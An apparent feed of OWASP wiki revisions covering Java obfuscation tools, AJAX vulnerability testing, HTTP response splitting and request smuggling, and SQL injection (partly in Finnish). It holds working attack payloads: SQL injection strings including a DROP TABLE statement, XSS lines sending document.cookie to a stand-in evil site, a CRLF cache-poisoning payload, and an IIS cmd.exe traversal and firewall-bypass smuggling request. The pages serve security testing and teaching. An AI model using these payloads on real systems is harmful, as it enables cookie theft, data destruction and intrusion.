 jar xvf genericFrameOut.jar&lt;br /&gt;
 cd genericFrame/pub/gui/&lt;br /&gt;
 jad c.class&lt;br /&gt;
 more c.jad more c.jad&lt;br /&gt;
&lt;br /&gt;
Remark than Strings are kept unmodified. If you want you code to be hard to read, do not forget to remove any debugging and logging comments. Jode has some facilities for making this easier.&lt;br /&gt;
&lt;br /&gt;
== Using CafeBabe ==&lt;br /&gt;
&lt;br /&gt;
CafeBabe is a convenient tool for teaching structure of ByteCode files. You can [http://www.geocities.com/CapeCanaveral/Hall/2334/programs.html download it at this URL].&lt;br /&gt;
&lt;br /&gt;
 Unzip it and execute following command :&lt;br /&gt;
 java -classpath CafeBabe.jar org.javalobby.apps.cafebabe.CafeBabe&lt;br /&gt;
&lt;br /&gt;
Have a look at some class from the original genericFrame.jar package.&lt;br /&gt;
&lt;br /&gt;
Then obfuscate it, and compare both - original and modified class :&lt;br /&gt;
&lt;br /&gt;
* with the CafeBabe viewer,&lt;br /&gt;
* after decompiling it with JAD.&lt;br /&gt;
&lt;br /&gt;
What conclusion can you draw of it ?&lt;br /&gt;
&lt;br /&gt;
== Using Jode ==&lt;br /&gt;
&lt;br /&gt;
Jode is to be found [http://jode.sourceforge.net/ here] with instructions on how to use the decompiler and obfuscator functions [http://jode.sourceforge.net/usage.html here].&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Obfuscators/  Obfuscator list, by Google]&lt;br /&gt;
* [http://proguard.sourceforge.net/alternatives.html alternatives proposed by proguard]&lt;br /&gt;
* [http://www.geocities.com/CapeCanaveral/Hall/2334/Programs/cafebabe.html CafeBabe]&lt;br /&gt;
* [http://www.cinnabarsystems.com/canner.html Canner]&lt;br /&gt;
* [http://www.varaneckas.com/jad/ JAD (JAva Decompiler)]&lt;br /&gt;
* [http://jarg.sourceforge.net/ Jarg]&lt;br /&gt;
* [http://sourceforge.net/projects/javaguard/ Javaguard]&lt;br /&gt;
* [http://www.jbitsoftware.com/JBit/do/displayPage?targetPageId=products.jlockinfo JLock by JSoft]&lt;br /&gt;
* [http://jode.sourceforge.net/ Jode]&lt;br /&gt;
* [http://proguard.sourceforge.net/ Proguard]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;br /&gt;
[[Category:How To]]&lt;br /&gt;
[[Category: Control]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=151411</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=151411"/>
				<updated>2013-05-12T17:44:05Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a traditional (i.e., &amp;quot;pre-web&amp;quot;) application. Since AJAX is still a new technology, there are many security issues that have not yet been fully researched. Some of the security issues in AJAX include:&lt;br /&gt;
&lt;br /&gt;
* Increased attack surface with many more inputs to secure&lt;br /&gt;
* Exposed internal functions of the application&lt;br /&gt;
* Client access to third-party resources with no built-in security and encoding mechanisms&lt;br /&gt;
* Failure to protect authentication information and sessions&lt;br /&gt;
* Blurred line between client-side and server-side code, possibly resulting in security mistakes&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&lt;br /&gt;
===XMLHttpRequest Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
AJAX uses the XMLHttpRequest(XHR) object for all communication with a server-side application, frequently a web service. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation ([http://www.json.org JSON]), image data, or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly, in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence, the login data is traversing the wire in clear text. Using secure HTTPS/SSL channels, which the modern day browsers support, is the easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks such as SQL Injection, Cross Site Scripting (XSS), etc.&lt;br /&gt;
&lt;br /&gt;
===Increased Attack Surface===&lt;br /&gt;
&lt;br /&gt;
Unlike traditional web applications that execute completely on the server, AJAX applications extend across the client and server, which gives the client some power. This throws in additional ways to potentially inject malicious content.&lt;br /&gt;
&lt;br /&gt;
===SQL Injection===&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks (see [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]) are remote attacks on the database in which the attacker modifies SQL statements before they are processed by the DBMS. &amp;lt;br&amp;gt; Typical SQL Injection attacks could be as follows (examples refer to Microsoft SQL Server)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty), and it is likely to be the first entry in the table. For many applications, that entry is the administrative login - the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
Note. The code fragment above tries to match userid and password values (obtained in input) with attributes ''name'', ''pass'' of ''users''; consequently, it appears that ''users'' is storing passwords in clear text, a practice which is not recommendable.&amp;lt;br&amp;gt;&lt;br /&gt;
'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above set of SQL statements drops the table ''users'', causing a Denial of Service. This consequence is possible on DBMS allowing concatenation of multiple statements.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Cross Site Scripting===&lt;br /&gt;
&lt;br /&gt;
[[Cross-site Scripting (XSS)]] is a technique by which malicious content is injected in the form of HTML/JavaScript code. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, phishing, and denial of service.&lt;br /&gt;
&lt;br /&gt;
The Browser and AJAX Requests look identical, so the server is not able to classify them. Consequently, it won't be able to discern who made the request in the background. A JavaScript program can use AJAX to request a resource that occurs in the background without the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site Scripting attack.&lt;br /&gt;
&lt;br /&gt;
Also, an XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&lt;br /&gt;
The XSS payload can use AJAX requests to autonomously inject itself into pages and easily re-inject the same host with more XSS (like a virus), all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''''Examples''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://&amp;lt;evil-site&amp;gt;/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Client Side Injection Threats===&lt;br /&gt;
&lt;br /&gt;
* ''XSS exploits'' can give access to sensitive client-side data, and can also modify client-side code.&lt;br /&gt;
* ''DOM Injection'' is a type pf XSS injection which happens through the sub-objects, document location, document.URL, or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===AJAX Bridging===&lt;br /&gt;
&lt;br /&gt;
For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from ''site1.com'' cannot make connections to ''site2.com''. To allow AJAX to contact third-party sites in this manner, the AJAX service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site. A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.&lt;br /&gt;
&lt;br /&gt;
===Cross Site Request Forgery (CSRF)===&lt;br /&gt;
&lt;br /&gt;
CSRF (see [[Testing for CSRF  (OWASP-SM-005)|Testing for CSRF]]) attacks occur when an attacker forces a victim’s web browser to send an HTTP request to any website of his choosing (the intranet is a fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. In case such applications are vulnerable, invisibly, CSRF could have transferred funds, posted comments, compromised email lists, or reconfigured the network. A characteristic of CSRF attacks is that the vulnerable application logs' will show what appear as legitimate entries originating from the victim, bearing no trace of the attack. This attack, though not common, has been done before.&lt;br /&gt;
&lt;br /&gt;
===Denial of Service===&lt;br /&gt;
&lt;br /&gt;
Denial of Service is an old attack in which an attacker or vulnerable application forces the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. In fact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks such as using image tags nested within a JavaScript loop can do the trick more effectively. AJAX, being on the client-side, makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Browser Based Attacks===&lt;br /&gt;
&lt;br /&gt;
The security of web browsers depends to a great extent to the fact that these tools integrate disparate technologies (such as HTML, Javascript, DNS, to name a few), whose interoperability has often been achieved without focusing much on its security implications. Furthermore, most of the security features available in browsers are based on previous attacks, so our browsers are not prepared for newer attacks.&lt;br /&gt;
&lt;br /&gt;
There have been a number of new attacks on browsers, such as using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These could be computers that serve Web pages, but they could also include routers, printers, IP phones, and other networked devices or applications that have a Web interface. The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines which servers are running by looking for image files stored in standard places and analyzing the traffic and error messages it receives back. &lt;br /&gt;
&lt;br /&gt;
Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. In addition, the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&lt;br /&gt;
&lt;br /&gt;
The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In the case of Samy (see [http://namb.la/popular/tech.html Technical explanation of The MySpace Worm]), MySpace input validation controls prevent the injection of ''&amp;lt;SCRIPT&amp;gt;'' tags, however failed to consider all HTML tags, such as ''DIV''. The article is a good example demonstrating how hard it is to perform input validation (particularly if you try to do it following a ''black list'' based approach). AJAX was used to inject a worm into the MySpace profile of any user viewing infected page and forced any user viewing the infected page to add the user “Samy” to his friend list. It also appended the words “Samy is my hero” to the victim's profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&lt;br /&gt;
&lt;br /&gt;
In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and AJAX, took advantage of a vulnerability in Yahoo Mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the Yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
* Brian Chess, Yekaterina Tsipenyuk O'Neil, Jacob West, &amp;quot;JavaScript Hijacking&amp;quot; - http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
* Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot; - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf &amp;lt;br&amp;gt;&lt;br /&gt;
* Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf &amp;quot;,SPI Labs&amp;lt;br&amp;gt;&lt;br /&gt;
* Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot; - http://www.spidynamics.com/assets/documents/AJAXdangers.pdf &amp;quot;,SPI Labs&amp;lt;br&amp;gt;&lt;br /&gt;
* “Ajax: A New Approach to Web Applications”, Adaptive Path - http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett&amp;lt;br&amp;gt;&lt;br /&gt;
* http://en.wikipedia.org/wiki/AJAX AJAX&amp;lt;br&amp;gt;&lt;br /&gt;
* http://ajaxpatterns.org AJAX Patterns &lt;br /&gt;
* Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot; - http://rmccurdy.com/scripts/docs/spidynamics/AJAXdangers.pdf &amp;quot;,SPI Labs&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP AJAX Security Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=151410</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=151410"/>
				<updated>2013-05-12T17:36:23Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g., UTF-7)&lt;br /&gt;
# Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.&lt;br /&gt;
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET. &lt;br /&gt;
 &lt;br /&gt;
===HTTP Smuggling===&lt;br /&gt;
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.&lt;br /&gt;
&lt;br /&gt;
'''Application Firewall Bypass'''&lt;br /&gt;
&lt;br /&gt;
There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
Of course, it is quite easy to spot and filter this attack by the presence of strings like &amp;quot;..&amp;quot; and &amp;quot;cmd.exe&amp;quot; in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49225 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49152 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).&lt;br /&gt;
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until &amp;quot;xxxx: &amp;quot;, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.&lt;br /&gt;
&lt;br /&gt;
While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.&lt;br /&gt;
&lt;br /&gt;
Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Message Splitting, Smuggling and Other Animals&amp;quot; - http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)&amp;quot; - http://www.securityfocus.com/archive/1/411418&lt;br /&gt;
* Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593&amp;lt;br&amp;gt;&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.cgisecurity.com/lib/http-request-smuggling.pdf&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10_2007-Injection_Flaws-Finnish&amp;diff=151409</id>
		<title>Top 10 2007-Injection Flaws-Finnish</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10_2007-Injection_Flaws-Finnish&amp;diff=151409"/>
				<updated>2013-05-12T17:34:21Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Malicious File Execution-Finnish|useprev=PrevLink|prev=-Cross Site Scripting-Finnish|usemain=MainLink|main=_Finnish}}&lt;br /&gt;
&lt;br /&gt;
'''Esimerkki'''&lt;br /&gt;
Haavoittuva sovellus etsii kirjautuessa käyttäjän tietokannasta seuraavalla tietokantakyselyllä: &lt;br /&gt;
&lt;br /&gt;
&amp;quot;SELECT * FROM users WHERE username='&amp;quot; + ''username'' + &amp;quot;' AND password='&amp;quot; + ''password'' + &amp;quot;'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Parametrit ''username'' ja ''password'' tulevat suoraan kirjautumislomakkeelta. Hyökkääjä antaa admin-käyttäjän salasanaksi: ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Toimenpide näyttää sovellukselle onnistuneelta kirjautumiselta, vaikka oikea salasana ei ollut tiedossa.&lt;br /&gt;
&lt;br /&gt;
'''Suositus'''&lt;br /&gt;
Tarkasta kaikki syötekentät ja koodaa tietokanta- tai muissa taustajärjestelmäkyselyissä käytettävät erikoismerkit toiseen muotoon.&lt;br /&gt;
&lt;br /&gt;
TODO: Käännä seuraavat&lt;br /&gt;
&lt;br /&gt;
Injection flaws, particularly SQL injection, are unfortunately very common in web applications. There are many types of injections: [http://cwe.mitre.org/data/definitions/89.html SQL], [http://cwe.mitre.org/data/definitions/564.html Hibernate Query Language (HQL)], [http://cwe.mitre.org/data/definitions/90.html LDAP], [http://cwe.mitre.org/data/definitions/91.html XPath], [http://cwe.mitre.org/data/definitions/652.html XQuery], [http://cwe.mitre.org/data/definitions/91.html XSLT], [http://cwe.mitre.org/data/definitions/79.html HTML], [http://cwe.mitre.org/data/definitions/91.html XML], [http://cwe.mitre.org/data/definitions/78.html OS command injection] and many more. &lt;br /&gt;
&lt;br /&gt;
Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. Attackers trick the interpreter into executing unintended commands via supplying specially crafted data. Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application. In the worst case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.&lt;br /&gt;
&lt;br /&gt;
== Environments Affected ==&lt;br /&gt;
&lt;br /&gt;
All web application frameworks that use interpreters or invoke other processes are vulnerable to injection attacks. This includes any components of the framework, that might use back-end interpreters. &lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
If user input is passed into an interpreter without validation or encoding, the application is vulnerable. Check if user input is supplied to dynamic queries, such as:&lt;br /&gt;
